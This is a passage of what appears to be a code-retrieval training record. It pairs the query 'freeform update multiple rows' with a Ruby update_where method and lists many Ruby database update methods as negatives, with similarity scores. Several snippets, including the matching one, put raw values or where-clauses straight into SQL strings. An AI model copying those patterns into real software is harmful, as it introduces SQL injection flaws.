"def update()\n db = PG.connect({\n dbname: \"bounty_hunter\",\n host: \"localhost\"\n })\n\n sql = \"\n UPDATE bounties\n SET (\n name,\n bounty_value,\n danger_level,\n favourite_weapon\n ) = ($1, $2, $3, $4)\n WHERE id = $5;\n \"\n values = [\n @name,\n @bounty_value,\n @danger_level,\n @favourite_weapon,\n @id\n ]\n\n db.prepare(\"update\", sql)\n db.exec_prepared(\"update\", values)\n db.close\n end",
"def update \n end",
"def update_data(table_name, column_values, criteria, config={})\n body = column_values.merge!({:ZOHO_CRITERIA => criteria})\n body = body.merge!(config) if config.any?\n\n options = {\n :query => {\n 'ZOHO_ACTION' => 'UPDATE',\n },\n :body => body\n }\n\n send_request get_uri(table_name), 'post', options\n end",
"def update_tables\n @old_ethereum_address = @user_extended_details.ethereum_address\n\n @user_extended_details.ethereum_address = @encrypted_ethereum_address\n @user_extended_details.save!\n\n update_user_md5_extended_details\n\n @edit_kyc_request.status = GlobalConstant::EditKycRequest.processed_status\n @edit_kyc_request.save!\n\n @user_kyc_detail.last_acted_by = @admin_id\n @user_kyc_detail.last_acted_timestamp = Time.now.to_i\n @user_kyc_detail.save!\n\n log_activity\n\n success\n end",
"def update()\n\n sql = \"UPDATE customers SET (\n name,\n funds\n ) =\n (\n $1, $2\n )\n WHERE id = $3\"\n values = [@title, @price, @id]\n tickets_update = SqlRunner.run(sql, values)\n\nend",
"def update\n update_all\n end",
"def update\n eqs = self.class.columns.map { |column| \"#{column} = ?\"}.join(\", \")\n DBConnection.execute(<<-SQL, *attribute_values, id)\n UPDATE\n #{self.class.table_name}\n SET\n #{eqs}\n WHERE\n id = ?\n SQL\n end",
"def update\n set_line = self.class.columns.map { |attr| \"#{attr} = ?\" }.join(\", \")\n\n DBConnection.execute(<<-SQL, *attribute_values, self.id)\n UPDATE\n #{self.class.table_name} \n SET\n #{set_line}\n WHERE\n id = ?\n SQL\n end",
"def update_database\n unless @statements.empty?\n alter_table_sql = \"ALTER TABLE #{@base.quote_table_name(@table_name)}\"\n result = @base.execute(alter_table_sql + \" \" + @statements.join(', '))\n @statements.clear\n result\n end\n end",
"def update!(columns)\n update(nil, columns)\n end",
"def update()\n sql = \"UPDATE tickets SET (customer_id,film_id,cinema,type) = (#{@customer_id},#{@film_id},'#{@cinema}','#{@type}') WHERE id=#{@id};\"\n SqlRunner.run(sql)\n end",
"def update\n \n end",
"def update\n \n end",
"def update\n\n end",
"def update\n\t\t\n\t\tend",
"def update\n sql = 'UPDATE customers SET name = $1, funds = $2 WHERE id = $3'\n values = [@name, @funds, @id]\n SqlRunner.run(sql, values)\n end",
"def update \n end",
"def update!(**args)\n @force = args[:force] if args.key?(:force)\n @table_uri = args[:table_uri] if args.key?(:table_uri)\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update(sql, name = nil)\n update_sql(sql, name)\n end",
"def update()\ndb = PG connect( {dbname: 'bounty_hunter',\n host: 'localhost'\n })\nsql = \"UPDATE bounty_hunters\nSET (name,\n species,\n homeworld,\n favourite_weapon\n )=(\n $1, $2, $3, $4\n )\n WHERE id = $5\n \"\n\nvalues = [@name, @species, @homeworld, @favourite_weapon]\ndb.prepare('update',sql)\n db.exec_prepared('update', values)\n db.close\nend",
"def update(model_data)\n end",
"def update!(**args)\n @database = args[:database] if args.key?(:database)\n @table = args[:table] if args.key?(:table)\n end",
"def table_update_query(table, values, org_key = nil)\n org_key ||= values\n query = \"update #{quote_table_name(table)} set \"\n query << values.map do |column_name, value|\n \"#{quote_column_name(column_name)} = #{quote_value(table, column_name, value)}\"\n end.join(', ')\n query << \" where (\" << quote_key_list(table) << \") = (\"\n query << primary_key_names(table).map do |key|\n quote_value(table, key, org_key[key])\n end.join(', ') << \")\"\n end",
"def set(recs, data)\r\n # If updates are not in the form of a Proc, convert updates, which\r\n # could be an array, a hash, or a Struct into a common format (i.e.\r\n # hash).\r\n update_rec = convert_input_data(data) unless data.is_a?(Proc)\r\n\r\n updated_recs = []\r\n\r\n # For each one of the recs that matched the update query, apply the\r\n # updates to it and write it back to the database table.\r\n recs.each do |rec|\r\n temp_rec = rec.dup\r\n\r\n if data.is_a?(Proc)\r\n begin\r\n data.call(temp_rec)\r\n rescue NoMethodError\r\n raise 'Invalid field name in code block: %s' % $!\r\n end\r\n else\r\n @field_names.each { |fn| temp_rec[fn] = update_rec.fetch(fn,\r\n temp_rec.send(fn)) }\r\n end\r\n\r\n # Is the user trying to change something they shouldn't?\r\n raise 'Cannot update recno field!' unless \\\r\n rec.recno == temp_rec.recno\r\n raise 'Cannot update internal fpos field!' unless \\\r\n rec.fpos == temp_rec.fpos\r\n raise 'Cannot update internal line_length field!' unless \\\r\n rec.line_length == temp_rec.line_length\r\n\r\n # Are the data types of the updates correct?\r\n validate_input(temp_rec)\r\n\r\n check_required_fields(temp_rec)\r\n\r\n check_against_input_for_specials(temp_rec)\r\n\r\n # Apply updates to the record and add it to an array holding\r\n # updated records. We need the fpos and line_length because\r\n # the engine will use them to determine where to write the\r\n # update and whether the updated record will fit in the old\r\n # record's spot.\r\n updated_recs << { :rec => @field_names.zip(@field_types\r\n ).collect { |fn, ft| convert_to_encoded_string(ft,\r\n temp_rec.send(fn)) }, :fpos => rec.fpos,\r\n :line_length => rec.line_length }\r\n \r\n\r\n # Update any associated blob/memo fields.\r\n temp_rec.each { |r| r.write_to_file if r.is_a?(KBMemo) } if \\\r\n @field_types.include?(:Memo)\r\n temp_rec.each { |r| r.write_to_file if r.is_a?(KBBlob) } if \\\r\n @field_types.include?(:Blob)\r\n end\r\n\r\n # Take all of the update records and write them back out to the\r\n # table's file.\r\n @db.engine.update_records(self, updated_recs)\r\n\r\n # Return the number of records updated.\r\n return recs.size\r\n end",
"def update\n push_to_db\n end",
"def update\n push_to_db\n end",
"def update\n DB[:conn].execute(\"UPDATE students SET name = ? WHERE id = ?\", @name, @id)\n DB[:conn].execute(\"UPDATE students SET grade = ? WHERE id = ?\", @grade, @id)\n end",
"def update()\n sql = \"\n UPDATE artists SET (\n name\n ) =\n ROW(\n $1\n )\n WHERE id = $2\"\n values = [@name, @id]\n SqlRunner.run(sql, values)\n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update\n \n end",
"def update!(**args)\n @mysql_columns = args[:mysql_columns] if args.key?(:mysql_columns)\n @table = args[:table] if args.key?(:table)\n end",
"def update\n respond_to do |format|\n if @table.update(table_params)\n format.html { redirect_to @table, notice: 'Mesa atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @table }\n else\n format.html { render :edit }\n format.json { render json: @table.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(table_name, attributes)\n\n # Perform the update and returns the id\n Operations::Update.new(@rforce_binding, table_name, attributes).run()\n\n end"
] |
[
"0.7137988",
"0.7104973",
"0.70614934",
"0.6802528",
"0.6796238",
"0.6657435",
"0.6565005",
"0.6556319",
"0.6549175",
"0.6420742",
"0.6401176",
"0.63918537",
"0.63918537",
"0.6387685",
"0.6360001",
"0.6353984",
"0.6345568",
"0.6344913",
"0.6344217",
"0.63201827",
"0.6320103",
"0.6313955",
"0.62886107",
"0.62886107",
"0.62886107",
"0.62886107",
"0.62886107",
"0.62886107",
"0.62886107",
"0.62886107",
"0.6287343",
"0.62839866",
"0.62761325",
"0.62740415",
"0.62685066",
"0.62579817",
"0.62579817",
"0.62564087",
"0.6245387",
"0.6245387",
"0.6245387",
"0.6245387",
"0.6242477",
"0.6236048",
"0.6222737",
"0.62169355",
"0.6216248",
"0.6207392",
"0.61989623",
"0.6196669",
"0.6192526",
"0.6186219",
"0.61798304",
"0.6177444",
"0.61711305",
"0.6169972",
"0.6162377",
"0.6158756",
"0.61577713",
"0.61517125",
"0.6145669",
"0.6140925",
"0.6139492",
"0.6135922",
"0.6135921",
"0.6128496",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6086713",
"0.6079754",
"0.6055401",
"0.6052073",
"0.60451186",
"0.60382956",
"0.6037773",
"0.6037021",
"0.6037021",
"0.6034762",
"0.6033822",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60325617",
"0.60273075",
"0.60268855",
"0.6026562"
] |
0.6094916
|
66
|
freeform update multiple rows
|
def update_where(table, what, where, *bindvars)
sql = "update #{table.name}\nset #{what} where #{where}"
#$stderr.puts sql
db.do(sql, *bindvars)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update()\n sql = \"UPDATE customers (name, funds) = ($1, $2) WHERE id = $3\"\n values = [@name, @funds, @id]\n SqlRunner.run(sql,values)\n# => Updating only, no need to return any array\n end",
"def update(*args)\n each{|r| r.update(*args)}\n end",
"def batch_update\n @success = true\n ActiveRecord::Base.transaction do\n @selected.each do |selected|\n unless selected.update(batch_update_params)\n @success = false\n raise ActiveRecord::Rollback\n end\n end\n end\n render template: \"/dash/base/batch_update\"\n end",
"def update()\n\n sql = \"UPDATE customers SET (\n name,\n funds\n ) =\n (\n $1, $2\n )\n WHERE id = $3\"\n values = [@title, @price, @id]\n tickets_update = SqlRunner.run(sql, values)\n\nend",
"def batch_update(updates,commit=true)\n params=\"[{\\\"id\\\":\\\"#{id}\\\",\"\n updates.each do |update|\n params+=\"\\\"#{update[:field]}\\\":\"\n if update[:operation] == 'add'\n params+=\"{\\\"add\\\":\\\"#{update[:new_values].gsub('\"','\\\"')}\\\"}\"\n elsif update[:operation] == 'remove'\n params+=\"{\\\"set\\\":null}\"\n else\n update[:new_values]=self.class.to_array(update[:new_values])\n new_values = update[:new_values].map {|s| s.to_s.gsub(\"\\\\\",\"\\\\\\\\\\\\\").gsub('\"','\\\"').strip} # strip leading/trailing spaces and escape quotes for each value\n params+=\"{\\\"set\\\":[\\\"#{new_values.join('\",\"')}\\\"]}\"\n end\n params+=\",\"\n end\n params.chomp!(\",\")\n params+=\"}]\"\n post_to_solr(params,commit)\n end",
"def update()\n query = \"UPDATE sale_items SET (sli_qty, sli_unit_price, sli_alb_id) = ($1, $2, $3) WHERE sli_id = $4\"\n DbHelper.run_sql(query, [@sli_qty, @sli_unit_price, @sli_alb_id, @sli_id])\n end",
"def set(recs, data)\r\n # If updates are not in the form of a Proc, convert updates, which\r\n # could be an array, a hash, or a Struct into a common format (i.e.\r\n # hash).\r\n update_rec = convert_input_data(data) unless data.is_a?(Proc)\r\n\r\n updated_recs = []\r\n\r\n # For each one of the recs that matched the update query, apply the\r\n # updates to it and write it back to the database table.\r\n recs.each do |rec|\r\n temp_rec = rec.dup\r\n\r\n if data.is_a?(Proc)\r\n begin\r\n data.call(temp_rec)\r\n rescue NoMethodError\r\n raise 'Invalid field name in code block: %s' % $!\r\n end\r\n else\r\n @field_names.each { |fn| temp_rec[fn] = update_rec.fetch(fn,\r\n temp_rec.send(fn)) }\r\n end\r\n\r\n # Is the user trying to change something they shouldn't?\r\n raise 'Cannot update recno field!' unless \\\r\n rec.recno == temp_rec.recno\r\n raise 'Cannot update internal fpos field!' unless \\\r\n rec.fpos == temp_rec.fpos\r\n raise 'Cannot update internal line_length field!' unless \\\r\n rec.line_length == temp_rec.line_length\r\n\r\n # Are the data types of the updates correct?\r\n validate_input(temp_rec)\r\n\r\n check_required_fields(temp_rec)\r\n\r\n check_against_input_for_specials(temp_rec)\r\n\r\n # Apply updates to the record and add it to an array holding\r\n # updated records. We need the fpos and line_length because\r\n # the engine will use them to determine where to write the\r\n # update and whether the updated record will fit in the old\r\n # record's spot.\r\n updated_recs << { :rec => @field_names.zip(@field_types\r\n ).collect { |fn, ft| convert_to_encoded_string(ft,\r\n temp_rec.send(fn)) }, :fpos => rec.fpos,\r\n :line_length => rec.line_length }\r\n \r\n\r\n # Update any associated blob/memo fields.\r\n temp_rec.each { |r| r.write_to_file if r.is_a?(KBMemo) } if \\\r\n @field_types.include?(:Memo)\r\n temp_rec.each { |r| r.write_to_file if r.is_a?(KBBlob) } if \\\r\n @field_types.include?(:Blob)\r\n end\r\n\r\n # Take all of the update records and write them back out to the\r\n # table's file.\r\n @db.engine.update_records(self, updated_recs)\r\n\r\n # Return the number of records updated.\r\n return recs.size\r\n end",
"def _construct_multiple_update_sql(table, where_update_fields, where_update_values)\n id_collector = Array.new\n update_sql = \"UPDATE #{table} SET\"\n \n (where_update_fields.length - 1).times do |field_i|\n update_sql += \", \" if field_i > 0\n update_sql += \" #{where_update_fields[field_i + 1]} = CASE #{where_update_fields[0]}\"\n \n where_update_values.each_index do |i|\n update_sql += \" WHEN \" + _construct_sql_value(where_update_values[i][0]) + \" THEN \" + _construct_sql_value(where_update_values[i][field_i + 1])\n id_collector << _construct_sql_value(where_update_values[i][0]) if field_i == 0\n end\n \n update_sql += \" END\"\n end\n \n update_sql += \" WHERE #{where_update_fields[0]} in (\" + id_collector.join(\",\") + \")\"\n \n update_sql\n end",
"def update # EXTENSION\n sql = \"UPDATE tickets SET customer_id = $1, film_id = $2, screening_id = $3 WHERE id = $4\"\n values = [@customer_id, @film_id, @screening_id, @id]\n SqlRunner.run(sql, values)\nend",
"def update_many(filter, update, options = nil)\n result = native.update_many(filter, update, options || {})\n update_result(result)\n end",
"def update_all(table, table_hash, values = {}, conditions = {})\n\t\t\t ctx = 0\n\t\t\t\tlen = table.length - 1\n\t\t\t\t\n\t\t\t\tfor i in 0..len\n\t\t\t\t\tupdate = true\n\t\t\t\t\t\n\t\t\t\t\tconditions.each do |key, val|\n\t\t\t\t\t\tif (table[i][table_hash[key]] != val)\n\t\t\t\t\t\t\tupdate = false\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif (update)\n\t\t\t\t\t\tvalues.each do |field, val|\n\t\t\t\t\t\t\ttable[i][table_hash[field]] = val\n\t\t\t\t\t\tend\n\t\t\t\t\t\tctx = ctx + 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn ctx\n\t\t\tend",
"def update\n eqs = self.class.columns.map { |column| \"#{column} = ?\"}.join(\", \")\n DBConnection.execute(<<-SQL, *attribute_values, id)\n UPDATE\n #{self.class.table_name}\n SET\n #{eqs}\n WHERE\n id = ?\n SQL\n end",
"def process_updates(table_name, field, rows)\n ActiveRecord::Base.transaction do\n mass_import(rows)\n mass_update(table_name, field)\n end\n end",
"def update\n update_all\n end",
"def update_all(updates, conditions = nil)\n # TODO\n raise \"not implemented\"\n# sql = \"UPDATE #{table_name} SET #{sanitize_sql(updates)} \"\n# add_conditions!(sql, conditions, scope(:find))\n# connection.update(sql, \"#{name} Update\")\n end",
"def update_all(updates)\n sum do |relation|\n relation.update_all(updates)\n end\n end",
"def bulk_update(ids, pairs)\n # Bulk load documents\n # Map to doc\n # Filter out errors, or none founds (compact)\n # Select the Couch objects\n docs = database.couchrest_database.bulk_load(ids)['rows'].map{|r| r['doc']}.compact.select{|d| d.is_a?(SimplyStored::Couch)}\n for doc in docs\n pairs.each_pair do |k, v|\n doc.send(\"#{k}=\", v) if doc.respond_to?(\"#{k}=\")\n end\n doc.save # Should become a bulk update in the future\n end\n end",
"def bulk_update(users = [])\n Iterable.request(conf, '/users/bulkUpdate').post(users: users)\n end",
"def do_update(values)\n @query.on_conflict_sql(::MultiInsert::QueryBuilder.on_conflict_do_update(@column, values, @query.opts))\n end",
"def update_record(table, values, org_key = nil)\n update table_update_query(table, values, org_key)\n end",
"def batch_upload_rows(rows, per_page=100); batch_modify_rows('put', rows, per_page); end",
"def update!(**args)\n @ids = args[:ids] if args.key?(:ids)\n end",
"def update!(**args)\n @ids = args[:ids] if args.key?(:ids)\n end",
"def update!(**args)\n @ids = args[:ids] if args.key?(:ids)\n end",
"def update!(**args)\n @ids = args[:ids] if args.key?(:ids)\n end",
"def update_records(range = nil)\n find(:all).each do |record|\n record.update_record\n end\n end",
"def update(table, id, attributes) # abstract\n end",
"def line_item_update(h)\n\t\trows = @database.execute <<-SQL\n\t\tUPDATE invoice_lines\n\t\tSET\n\t\t\t\t_order = '#{h['order']}'\n\t\t\t, invoice_id = '#{h['invoice_id']}'\n\t\t\t, name = '#{h['name']}'\n\t\t\t, matter = '#{h['matter']}'\n\t\t\t, description = '#{h['description']}'\n\t\t\t, amount = '#{h['amount']}'\n\t\t\t, first_expense_id = '#{h['first_expense_id']}'\n\t\t\t, first_time_entry_id = '#{h['first_time_entry_id']}'\n\t\t\t, line_item_date = '#{h['line_item_date']}'\n\t\t\t, person = '#{h['person']}'\n\t\t\t, unit_cost = '#{h['unit_cost']}'\n\t\t\t, quantity = '#{h['quantity']}'\n\t\t\t, type = '#{h['type']}'\n\t\t\t, updated = '#{h['updated']}'\n\t\tWHERE (number = '#{h['number']}' AND line_id = '#{h['line_id']}');\n\t\tSQL\n\tend",
"def update\n sql = 'UPDATE customers SET name = $1, funds = $2 WHERE id = $3'\n values = [@name, @funds, @id]\n SqlRunner.run(sql, values)\n end",
"def update()\n #connect to db\n db = PG.connect({ dbname: \"bounty_hunters\", host: \"localhost\" })\n #write big SQL statement string\n sql = \"UPDATE bounties\n SET\n (\n name,\n species,\n bounty_value,\n favourite_weapon\n ) =\n (\n $1, $2, $3, $4\n )\n WHERE id = $5\"\n\n #make array of values for prepared statement\n values = [@name, @species, @bounty_value, @favourite_weapon, @id]\n #prepare statement\n db.prepare(\"update\", sql)\n #run statement with db\n db.exec_prepared(\"update\", values)\n #close link to db\n db.close()\n end",
"def update_cr_affis(affi_lines)\n db = get_db()\n affi_lines.each do |cr_affi|\n cr_affi_id = cr_affi[0]\n cr_affi_name = cr_affi[1]\n sql_cmd = \"\"\n # puts \"\\n££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££\"\n # print \"\\naffiliation STRING: \" + cr_affi_name\n # puts \"\\n££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££\"\n if cr_affi_name.include?(\"\\n\") then\n puts \"££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££\"\n sql_cmd = \"UPDATE cr_affiliations SET name =\\\"\" + cr_affi_name.gsub(\"\\n\", \" \") + \"\\\" WHERE id = \" + cr_affi_id.to_s + \";\"\n puts sql_cmd\n puts \"££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££\"\n end\n if cr_affi_name.include?(\"\\r\") then\n puts \"££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££\"\n sql_cmd = \"UPDATE cr_affiliations SET name =\\\"\" + cr_affi_name.gsub(\"\\r\", \" \") + \"\\\" WHERE id = \" + cr_affi_id.to_s + \";\"\n puts sql_cmd\n puts \"££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££££\"\n end\n if sql_cmd != \"\" then db.execute(sql_cmd) end\n end\nend",
"def bulk_update\n flag_update=params[:flag_update]\n if flag_update\n flag_ids=flag_update[:selected_flags]\n flag_ids.each do |id|\n flag=Flag.find(id)\n flag.move_to_description\n flag.save\n end\n flash[:success]=I18n.t('revs.flags.updated')\n end\n redirect_to flags_table_curator_tasks_path(params.symbolize_keys)\n end",
"def update(*updates, &select_cond)\r\n raise ArgumentError, \"Must specify select condition code \" + \\\r\n \"block. To update all records, use #update_all instead.\" if \\\r\n select_cond.nil?\r\n\r\n # Update the header variables.\r\n update_header_vars\r\n\r\n # Get all records that match the selection criteria and\r\n # return them in an array.\r\n result_set = get_matches(:update, @field_names, select_cond)\r\n\r\n # If updates is empty, this means that the user must have specified\r\n # the updates in KBResultSet#set, i.e.\r\n # tbl.update {|r| r.recno == 1}.set(:name => 'Bob')\r\n return result_set if updates.empty?\r\n\r\n # Call KBTable#set and pass it the records to be updated and the\r\n # updated criteria.\r\n set(result_set, updates)\r\n end",
"def update\n\n DBConnection.execute2(<<-SQL, attribute_values)\n UPDATE\n #{class_obj.table_name}\n SET\n #{sql_update_set}\n WHERE\n id = #{self.id}\n SQL\n\n end",
"def update()\ndb = PG connect( {dbname: 'bounty_hunter',\n host: 'localhost'\n })\nsql = \"UPDATE bounty_hunters\nSET (name,\n species,\n homeworld,\n favourite_weapon\n )=(\n $1, $2, $3, $4\n )\n WHERE id = $5\n \"\n\nvalues = [@name, @species, @homeworld, @favourite_weapon]\ndb.prepare('update',sql)\n db.exec_prepared('update', values)\n db.close\nend",
"def update_all(by: {}, with: {})\n raise NotImplementedError.new\n end",
"def update\n column_sets = self.class.columns.map { |attr_name| \"#{attr_name} = ?\" }.join(\", \")\n DBConnection.execute(<<-SQL, *attribute_values, self.id)\n UPDATE\n #{self.class.table_name}\n SET\n #{column_sets}\n WHERE\n #{self.class.table_name}.id = ?\n SQL\n # ...\n end",
"def update #:nodoc:\n connection.update(\n \"UPDATE #{self.class.table_name} \" +\n \"SET #{quoted_comma_pair_list(connection, special_attributes_with_quotes(false))} \" +\n \"WHERE #{self.class.primary_key} = #{quote_value(id)}\",\n \"#{self.class.name} Update\"\n )\n end",
"def update(values={})\n execute_dui(update_sql(values)){|c| return c.affected_rows}\n end",
"def build_update(data)\n sql = \"\"\n data.each do |k,v|\n sql += \"`#{escape_str_field(k)}` = \"+escape_value(v)+\", \"\n end\n sql.chomp(\", \")\n end",
"def update_multiple_codes\n common_code = CommonCode.find(params[:id])\n delete_list, update_list, create_list = self.refine_multiple_data(params[:multiple_data])\n\n CommonCode.transaction do\n # 1. delete\n self.destroy_multiple_data(CommonCode, delete_list)\n\n # 2. update\n self.update_multiple_data(CommonCode, update_list, 'id', ['parent_id'], {})\n\n # 3. create\n self.create_multiple_data(CommonCode, create_list, false, 'id', [], {})\n end\n end",
"def update_values(user_hash)\n begin\n id = user_hash[\"id\"] # determine the id for the current record\n conn = open_db() # open database for updating\n user_hash.each do |column, value| # iterate through user_hash for each column/value pair\n unless column == \"id\" # we do NOT want to update the id\n table = match_table(column) # determine which table contains the specified column\n value = get_image_name(user_hash) if column == \"image\" # get image name from nested array\n # workaround for table name being quoted and column name used as bind parameter\n query = \"update \" + table + \" set \" + column + \" = $2 where id = $1\"\n conn.prepare('q_statement', query)\n rs = conn.exec_prepared('q_statement', [id, value])\n conn.exec(\"deallocate q_statement\")\n end\n end\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\nend",
"def update\n set_line = self.class.columns.map { |attr| \"#{attr} = ?\" }.join(\", \")\n\n DBConnection.execute(<<-SQL, *attribute_values, self.id)\n UPDATE\n #{self.class.table_name} \n SET\n #{set_line}\n WHERE\n id = ?\n SQL\n end",
"def update data, table, condition = {}\n sql = \"update #{table} set\"\n data.each do |k,v|\n v = v.to_json if v.is_a?(Hash)\n if !!v == v\n sql = \"#{sql} #{k}=#{v},\"\n else\n sql = \"#{sql} #{k}='#{v}',\"\n end\n end\n sql = sql[0..-2] + \" where\"\n condition.each do |k,v|\n sql = \"#{sql} #{k} = '#{v}' and\"\n end\n query(sql[0..-4])\n end",
"def update_all(updates, conditions = nil)\n sql = \"UPDATE #{table_name} SET #{updates} \"\n add_conditions!(sql, conditions)\n connection.update(sql, \"#{name} Update\")\n end",
"def update()\n sql = \"UPDATE members SET (name, age) = ($1, $2) WHERE id = $3\"\n values = [@name, @age, @id]\n SqlRunner.run(sql, values)\n end",
"def update_multi\n params[:sample].each do |id, attributes|\n sample = Sample.find(id)\n sample.update_attributes(attributes) \n end\n flash[:notice] = 'Sample receipt updated'\n redirect_to samples_path\n \n end",
"def batch_update(batch_client, attributes)\n perform_update(batch_client, attributes)\n end",
"def update!(**args)\n @columns = args[:columns] if args.key?(:columns)\n @columns_int16 = args[:columns_int16] if args.key?(:columns_int16)\n @columns_int32 = args[:columns_int32] if args.key?(:columns_int32)\n @columns_int64 = args[:columns_int64] if args.key?(:columns_int64)\n @columns_int8 = args[:columns_int8] if args.key?(:columns_int8)\n @values = args[:values] if args.key?(:values)\n end",
"def update!(**args)\n @delete_all_data_from_table = args[:delete_all_data_from_table] if args.key?(:delete_all_data_from_table)\n @row_key_prefix = args[:row_key_prefix] if args.key?(:row_key_prefix)\n end",
"def multi_update\n errors = false\n return_value = []\n file_infos_params = params.permit(file_infos: [:id, :review_done, :component_id]).require(:file_infos)\n file_infos_params.each do |key, file_info_entry|\n (return_value << nil) and (errors = true) and next unless file_info_entry[:id]\n file_info = FileInfo.find(file_info_entry[:id])\n (return_value << nil) and (errors = true) and next unless file_info\n if file_info.update(file_info_entry)\n return_value << file_info_entry\n else\n return_value << file_info.errors\n errors = true\n end\n end\n respond_to do |format|\n format.json { render json: return_value }\n if errors\n format.html { redirect_to :back, notice: 'Some entries have errors'}\n else\n format.html { redirect_to :back }\n end\n end\n end",
"def dbupdate(table, variables, condition, names)\n if variables.kind_of?(Array) == false\n v = variables.to_s + \"=?\"\n else\n v = \"\"\n i = 0\n while i < variables.length\n v += variables[i].to_s + \"=?\"\n i += 1\n if i < variables.length\n v += \", \"\n end\n end\n end\n\n if condition.kind_of?(Array) == false\n c = condition.to_s + \"=?\"\n else\n c = \"\"\n i = 0\n while i < condition.length\n c += condition[i].to_s + \"=?\"\n i += 1\n if i < condition.length\n c += \" AND \"\n end\n end\n end\n\n return db.execute(\"UPDATE #{table} SET #{v} WHERE #{c}\", names)\nend",
"def update\n $all_columns.each do |col|\n col[0] = col[1].call unless col[1].nil?\n end\nend",
"def update!(**args)\n @columns = args[:columns] if args.key?(:columns)\n @rows = args[:rows] if args.key?(:rows)\n end",
"def bulk_update(&block)\n self._issue_notifications = false\n class_eval &block\n self._issue_notifications = true\n end",
"def update(items)\n # clear!\n self.items.each do |i|\n number = items[i.id].blank? ? 1 : items[i.id].to_i <= 0 ? 1 : items[i.id]\n number.to_i < 99 ? i.quantity = number.to_i : i.quantity=99\n end\n # items.each { |id, quantity| add_items(id, quantity) }\n end",
"def update_values\n end",
"def update_values\n end",
"def update_all\n data_in_batches do |batch|\n Bookings::Data::SchoolUpdater.new(batch).update\n end\n end",
"def update_workout(db, id, update, value)\n db.execute(\"UPDATE lifts SET #{update} = #{value} WHERE id = '#{id}'\")\nend",
"def update() #UPDATE film1.price = 10 then film1\n sql = \"UPDATE films SET (title,price) = ($1, $2) RETURNING id = $3\"\n values = [@title, @price, @id]\n result = SqlRunner.run(sql, values)\n\n end",
"def update_all_by(key, values={})\n CQLModel::Query::UpdateStatement.new(self.class).update(values.merge({ key => @cql_properties[key.to_s] }))\n end",
"def update()\n sql = \"\n UPDATE artists SET (\n name\n ) =\n ROW(\n $1\n )\n WHERE id = $2\"\n values = [@name, @id]\n SqlRunner.run(sql, values)\n end",
"def prepared_update(cols)\n cached_prepared_statement(:update, prepared_columns(cols)){prepare_statement(filter(prepared_statement_key_array(primary_key)), :update, prepared_statement_key_hash(cols))}\n end",
"def update_task(db, id, task, date_needed, notes)\n db.execute(\"UPDATE list SET task=?, date_needed=?, notes=? WHERE id=?\", [task, date_needed, notes, id])\nend",
"def update_all records\n array = []\n records.each do |id, r|\n params = {}\n r.each do |k, v|\n params[k] = {value: v}\n end\n array.push({\n id: id,\n record: params\n })\n end\n puts \"update #{array.count} records...\"\n while array.present?\n a100 = array.shift(100)\n @api.records.update(@app_id, a100)\n end\n {}\n end",
"def update\n DB[:conn].execute(\"UPDATE students SET name = ? WHERE id = ?\", @name, @id)\n DB[:conn].execute(\"UPDATE students SET grade = ? WHERE id = ?\", @grade, @id)\n end",
"def _update_record(*args, &block)\n attributes_values = changes.map{|k, v| [k.to_sym, v.last]}.to_h\n\n if attributes_values.empty?\n rows_affected = 0\n else\n rows_affected = self.class.unscoped._update_record attributes_values, id, id_was\n end\n\n yield(self) if block_given?\n\n rows_affected\n end",
"def update!(id = :all, attributes)\n if id.is_a?(Array)\n if id.any?(ActiveRecord::Base)\n raise ArgumentError,\n \"You are passing an array of ActiveRecord::Base instances to `update!`. \" \\\n \"Please pass the ids of the objects by calling `pluck(:id)` or `map(&:id)`.\"\n end\n id.map { |one_id| find(one_id) }.each_with_index { |object, idx|\n object.update!(attributes[idx])\n }\n elsif id == :all\n all.each { |record| record.update!(attributes) }\n else\n if ActiveRecord::Base === id\n raise ArgumentError,\n \"You are passing an instance of ActiveRecord::Base to `update!`. \" \\\n \"Please pass the id of the object by calling `.id`.\"\n end\n object = find(id)\n object.update!(attributes)\n object\n end\n end",
"def update!(**args)\n @column_items = args[:column_items] if args.key?(:column_items)\n end",
"def update(row)\n table = row.type\n fields = row.changed_fields\n return if fields.empty?\n\n sql = \"update #{table.name}\\nset\\t\"\n\n sql << fields.map{|field| \"#{field} = ?\"}.join(\",\\n\\t\")\n sql << \",\\n\\t_version = _version + 1\\n\"\n sql << \"where\\t\"\n sql << table.primary_key.name.to_s << \" = ?\\n\"\n sql << \" and\\t_version = ?\"\n\n # now get the values for the changed rows\n vals = fields.map do |f| \n v = row.send(f)\n v = nil if v.type == String and v.empty?\n v\n end\n vals << row.send(table.primary_key.name)\n vals << row._version\n\n rpc = db.do(sql, *vals)\n if rpc != 1\n msg = \"Expected to update one row, but updated #{rpc}: #{sql}\\n\\n\" +\n vals.map {|v| v.inspect} .join(\"\\n\")\n $stderr.puts msg\n end\n\n row._version += 1\n\n row.reset_changed\n end",
"def update!(**args)\n @row_count = args[:row_count] if args.key?(:row_count)\n end",
